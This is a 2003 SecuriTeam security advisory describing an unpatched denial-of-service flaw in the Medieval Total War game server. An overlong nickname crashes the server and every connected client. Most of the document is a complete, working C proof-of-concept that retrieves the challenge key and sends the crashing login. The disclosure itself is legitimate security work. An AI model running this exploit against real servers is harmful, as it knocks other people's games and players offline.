[NT] Medieval Total War DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 10/08/03
- Previous message: SecuriTeam: "[NT] IE 6 XML Patch Bypass"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 8 Oct 2003 12:33:29 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Medieval Total War DoS
------------------------------------------------------------------------
SUMMARY
Medieval Total War is "a real-time strategy game available on PC and is
developed by Creative Assembly". A vulnerability in the game allows remote
attackers to cause the server to crash (and all the clients connected to
it) by connecting to the server using an arbitrary long nickname.
DETAILS
Vulnerable systems:
* Medieval Total War version 1.1 and prior
The MTW's players have access to the server only in a specific moment and
not during the execution of the game. This moment is the Lobby screen
before the starting of the match where all the players can join.
The bug is in the management of the nicknames sent by the clients. In
fact, a nickname longer than 76 Unicode chars causes the immediate crash
of the server and of all the connected clients.
The problem seems to be in the access to un-reachable memory, and the
following is the instruction where happens the crash (using 76 chars):
:0x6b96f8 mov eax,DWORD PTR [edx]
Both EAX and EDX are equal to 0.
Longer nicknames cause exceptions in other instructions but the problem is
ever the access to un-reachable memory.
In Luigi's tests, it does not seem possible to execute code because the
registers that are overwritten by the data are not important to change the
execution flow.
Vendor status:
No fix. Creative Assembly has been contacted several months ago but they
don't have at the moment the resources to patch this bugs.
Exploit:
Luigi has written a simple proof-of-concept that also lets you to specify
the amount of Unicode chars to use in the nickname field. Use a number
major or equal than 76:
mtwdos-server.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 18321
#define BUFFSZ 1024
#define TIMEOUT 5
#define S1 "\x00\x00\x81\x00\x00\x00\x00"
void unicode_memset(u_char *to, u_char chr, u_long len);
void show_word(u_char *buff, int num);
void timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
u_char *buffsend,
*buffrecv;
struct sockaddr_in peer;
int sd,
err,
plen,
blen;
u_long key;
u_short port = PORT;
setbuf(stdout, NULL);
fputs("\n"
"Medieval Total War <= 1.1 broadcast kick and crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n\n"
"All the clients connected to the server and the same server in the
Lobby\n"
"screen will be kicked or crashed immediately\n"
"\n", stdout);
if(argc < 3) {
printf("\nUsage: %s <num_of_chars*> <host> [port(%d)]\n"
"\n"
"* Number of Unicode chars in the nickname:\n"
"0 = \"Connection expired\" denial of service\n"
"76 = crash. You can also use bigger amout of chars to test other
exceptions\n"
" (FYI each unicode char is 2 bytes long)\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
plen = sizeof(peer);
buffrecv = malloc(BUFFSZ + 1);
if(!buffrecv) std_err();
/* UDP */
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("Getting the challenge key of the remote server...\n\n", stdout);
err = sendto(sd, "\x48\x00\xff\xff\xff", 5, 0, (struct sockaddr *)&peer,
plen);
if(err < 0) std_err();
while(1) {
timeout(sd);
err = recvfrom(sd, buffrecv, BUFFSZ, 0, (struct sockaddr *)&peer,
&plen);
if(err < 0) std_err();
if(*buffrecv == 0x49) {
show_word(buffrecv + 0x29, 4);
key = *(u_long *)(buffrecv + 5);
printf("Challenge key: %lu\n", key);
break;
} else {
show_word(buffrecv + 1, 1);
}
}
close(sd);
/* buffer */
err = atoi(argv[1]) << 1;
blen = 7 + err + 10;
buffsend = malloc(blen);
if(!buffsend) std_err();
memcpy(buffsend, S1, 7);
memcpy(buffsend + 3, &key, 4);
unicode_memset(buffsend + 7, 'a', err >> 1);
memset(buffsend + 7 + err, 0x00, 10);
/* TCP */
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
err = send(sd, buffsend, blen, 0);
if(err < 0) std_err();
timeout(sd);
err = recv(sd, buffrecv, BUFFSZ, 0);
if(err < 0) std_err();
close(sd);
if(*buffrecv == 0x02) {
fputs("\nRemote server is full or the game is already started, so you
cannot exploit it!\n", stdout);
} else {
fputs("\nMalicious login informations successfully sent\n\n", stdout);
}
return(0);
}
void unicode_memset(u_char *to, u_char chr, u_long len) {
for(; len > 0; len--) {
*to++ = 0x00;
*to++ = chr;
}
}
/* too lame, but this is only a proof-of-concept */
void show_word(u_char *buff, int num) {
int i;
if(*buff) buff++; // too lame
buff++; // skip the first zero
for(i = 0; i < num; i++) {
switch(i) {
case 0: {
if(num == 1) fputs("Admin name: ", stdout);
else fputs("Map name: ", stdout);
} break;
case 1: fputs("Server name: ", stdout); break;
case 2: fputs("Password: ", stdout); break;
case 3: fputs("Campaign: ", stdout); break;
default: fputs("Info: ", stdout); break;
}
while(*buff) {
fputc(*buff, stdout);
buff += 2;
}
fputc('\n', stdout);
buff += 2;
}
}
void timeout(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(err == 0) {
printf("\nError: Socket timeout, no answers received\n");
exit(1);
}
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n",
host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
winerr.h:
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family";
break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP";
break;
case 11004: error = "Valid name, no data record of requested type";
break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@altervista.org> Luigi
Auriemma.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] IE 6 XML Patch Bypass"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|